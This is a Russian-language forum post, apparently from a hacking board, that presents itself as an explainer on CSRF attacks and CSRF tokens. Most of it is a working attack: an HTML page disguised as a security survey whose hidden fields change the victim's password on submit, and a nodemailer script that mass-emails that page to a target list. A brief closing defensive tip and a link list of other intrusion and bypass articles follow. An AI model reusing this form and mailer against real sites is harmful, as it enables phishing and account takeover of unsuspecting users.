About CSRF Attack and the importance of CSRF TOKEN on your site

NK_TRIPLLE · Mar 12, 2025

Теория:
Что такое csrf attack?
Это атака позволяющая при клике на кнопку отправки формы не связанную с сайтом изменить / получить данные о пользователе который на неё нажал.
Почему это опасно?
Это опасно ввиду того что злоумышленик может получить или изменить данные вашей учетной записи.

Также выполнить различные операции от вашего лица, так как куки ваши то соответственно запрос будет от вашей учетной записи.
И самое главное это то что вы явным образом об этом не узнаете, разве что на почте будет уведомление.

Что такое csrf token и зачем он нужен?
csrf токен как раз предотвращает данную атаку.
Если в запросе из внешней формы не будет csrf токена то запрос на сервере будет предотвращён.
Разница csrf vs XSS:
Обычно большинство эндпоинтов сайтов закрыты и требуют csrf токены, но иногда остаются не защищенные их и можно эксплуатировать.
И что бы эксплатировать csrf нужно что бы пользователь отправил форму.

В случае XSS нужно лишь перейти по вредоносной ссылке и куки пользователя будут получены злоумышлеником или точно также будет выполнен запрос со стороны пользователя который он не хотел делать, то есть изменение пароля и так как куки и домен проверены сервер выполнит запрос на изменение пароля.

По xss я уже написал статью вы можете её прочитать здесь;

Практика:
Создаём форму:
<!DOCTYPE html>
<html lang="ru">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Опрос: Ваше мнение о безопасности</title>
</head>
<body>
<h1>Опрос: Ваше мнение о безопасности</h1>
<p>Пожалуйста, ответьте на несколько вопросов, чтобы помочь нам улучшить нашу систему безопасности.</p>

<form action="https://example.com/change-password" method="POST">
<input type="hidden" name="new_password" value="hackedpassword123">
<input type="hidden" name="confirm_new_password" value="hackedpassword123">

<div>
<label for="question1">1. Как часто вы меняете пароли?</label>
<select id="question1" name="question1">
<option value="often">Часто</option>
<option value="rarely">Редко</option>
<option value="never">Никогда</option>
</select>
</div>

<div>
<label for="question2">2. Используете ли вы двухфакторную аутентификацию?</label>
<select id="question2" name="question2">
<option value="yes">Да</option>
<option value="no">Нет</option>
</select>
</div>

<div>
<label for="question3">3. Насколько вы доверяете текущим мерам безопасности?</label>
<select id="question3" name="question3">
<option value="high">Высоко</option>
<option value="medium">Средне</option>
<option value="low">Низко</option>
</select>
</div>

<button type="submit">Отправить ответы</button>
</form>
</body>
</html>

HTML
<!DOCTYPE html>

<html lang="ru">

<head>

    <meta charset="UTF-8">

    <meta name="viewport" content="width=device-width, initial-scale=1.0">

    <title>Опрос: Ваше мнение о безопасности</title>

</head>

<body>

    <h1>Опрос: Ваше мнение о безопасности</h1>

    <p>Пожалуйста, ответьте на несколько вопросов, чтобы помочь нам улучшить нашу систему безопасности.</p>



    <form action="https://example.com/change-password" method="POST">

        <input type="hidden" name="new_password" value="hackedpassword123">

        <input type="hidden" name="confirm_new_password" value="hackedpassword123">



        <div>

            <label for="question1">1. Как часто вы меняете пароли?</label>

            <select id="question1" name="question1">

                <option value="often">Часто</option>

                <option value="rarely">Редко</option>

                <option value="never">Никогда</option>

            </select>

        </div>



        <div>

            <label for="question2">2. Используете ли вы двухфакторную аутентификацию?</label>

            <select id="question2" name="question2">

                <option value="yes">Да</option>

                <option value="no">Нет</option>

            </select>

        </div>



        <div>

            <label for="question3">3. Насколько вы доверяете текущим мерам безопасности?</label>

            <select id="question3" name="question3">

                <option value="high">Высоко</option>

                <option value="medium">Средне</option>

                <option value="low">Низко</option>

            </select>

        </div>



        <button type="submit">Отправить ответы</button>

    </form>

</body>

</html>
Опрос нужен что бы отвлечь пользователя и если он заполнит данные и нажмёт на кнопку его пароль будет изменён.
Отправляем пользователям форму на почту по средствам скрипта:
const nodemailer = require('nodemailer');
const fs = require('fs');
const path = require('path');

const transporter = nodemailer.createTransport({
service: 'gmail',
auth: {
user: 'ваш_email@gmail.com',
pass: 'ваш_пароль'
}
});

const htmlFilePath = path.join(__dirname, 'index.html');
const htmlForm = fs.readFileSync(htmlFilePath, 'utf-8');

const emailList = [
'email1@example.com',
'email2@example.com',
'email3@example.com',
'email4@example.com',
'email5@example.com'
];

const sendEmail = async (to) => {
const mailOptions = {
from: 'ваш_email@gmail.com',
to: to,
subject: 'Опрос: Ваше мнение о безопасности',
html: htmlForm
};

try {
await transporter.sendMail(mailOptions);
console.log(`Письмо отправлено на ${to}`);
} catch (error) {
console.error(`Ошибка при отправке письма на ${to}:`, error);
}
};

const sendEmails = async () => {
for (const email of emailList) {
await sendEmail(email);
}
};

sendEmails();

JS
const nodemailer = require('nodemailer');

const fs = require('fs');

const path = require('path');



const transporter = nodemailer.createTransport({

    service: 'gmail',

    auth: {

        user: 'ваш_email@gmail.com',

        pass: 'ваш_пароль'

    }

});



const htmlFilePath = path.join(__dirname, 'index.html');

const htmlForm = fs.readFileSync(htmlFilePath, 'utf-8');



const emailList = [

    'email1@example.com',

    'email2@example.com',

    'email3@example.com',

    'email4@example.com',

    'email5@example.com'

];



const sendEmail = async (to) => {

    const mailOptions = {

        from: 'ваш_email@gmail.com',

        to: to,

        subject: 'Опрос: Ваше мнение о безопасности',

        html: htmlForm

    };



    try {

        await transporter.sendMail(mailOptions);

        console.log(`Письмо отправлено на ${to}`);

    } catch (error) {

        console.error(`Ошибка при отправке письма на ${to}:`, error);

    }

};



const sendEmails = async () => {

    for (const email of emailList) {

        await sendEmail(email);

    }

};



sendEmails();
Утилита для аудита csrf:

https://github.com/0xInfection/XSRFProbe

Выводы:
Естественно изменение пароля это лишь пример, можно сделать что угодно, зависит от сайте, отправить сообщение, отправить перевод, передать права на домен и многое другое.
Суммируя всё вышесказанное, на своих сайтах используйте csrf токены, лишний раз не заполняйте формы от неизвестных, фильтруйте почту и всегда думайте что делаете.

xss vs csrf
https://portswigger.net/web-security/csrf/xss-vs-csrf
csrf
https://portswigger.net/web-security/csrf

Спасибо за прочтение, у меня ещё много идей для статей в этом разделе, хорошего настроения

ilovemeow · Mar 12, 2025

почему у мошейника кот есть а у девушки нету

We go to cookies to Roblox account on iPhone/Android

About CSRF Attack and the importance of CSRF TOKEN on your site

All about SQL Injections and No SQL Injections and their exploitation

We occupy all places in the cinema without investments

How to get around the antifrod Google cards?

Help with pentest

The history of 2f bypass on a network of banks with a capitalization of 50V+

We find unpacked dads for our goals

Khostim Ratnik for free without opening ports and hosting

Do you have an old tunnel in Playit.gg and can not delete it? We will decide

How to *****For Cover with Dahua DVR standard

We go around the game launches (GTA, Far Cry, RDR, etc.)

How to view any video from any user in the office

We loot additional proxies

Bypassing the Social Club launcher in games (GTA IV, GTA V, RDR II, etc.)

Acquaintance with the web scanner of the vulnerabilities of Nikto and the exploitation of XSS

An example of the operation of WebSocket vulnerability (Burp Suite)

All about File Inclusion and Remote File Inclusion

Hacking games in Telegram.

Uploading a shell on vBulletin 5

We register the Yandex Account for Tempom

XSS Administrator Escalation (WP) | Elevating rights to admin | We get access without restrictions

Login to your account using Cookie using Roblox as an example

Windows Theme Spoofing CVE-2024-21320

WAF bypass. How to find out the IP of a site that uses WAF or DDoS protection

We get an account on xaker.ru without registration (without subscription)

Vulnerability in remote access software

The story of how I completely hacked wordpress sites..

RCE via plugin loading (CVE-2024-31210)

Bypass XSS protection

About CSRF Attack and the importance of CSRF TOKEN on your site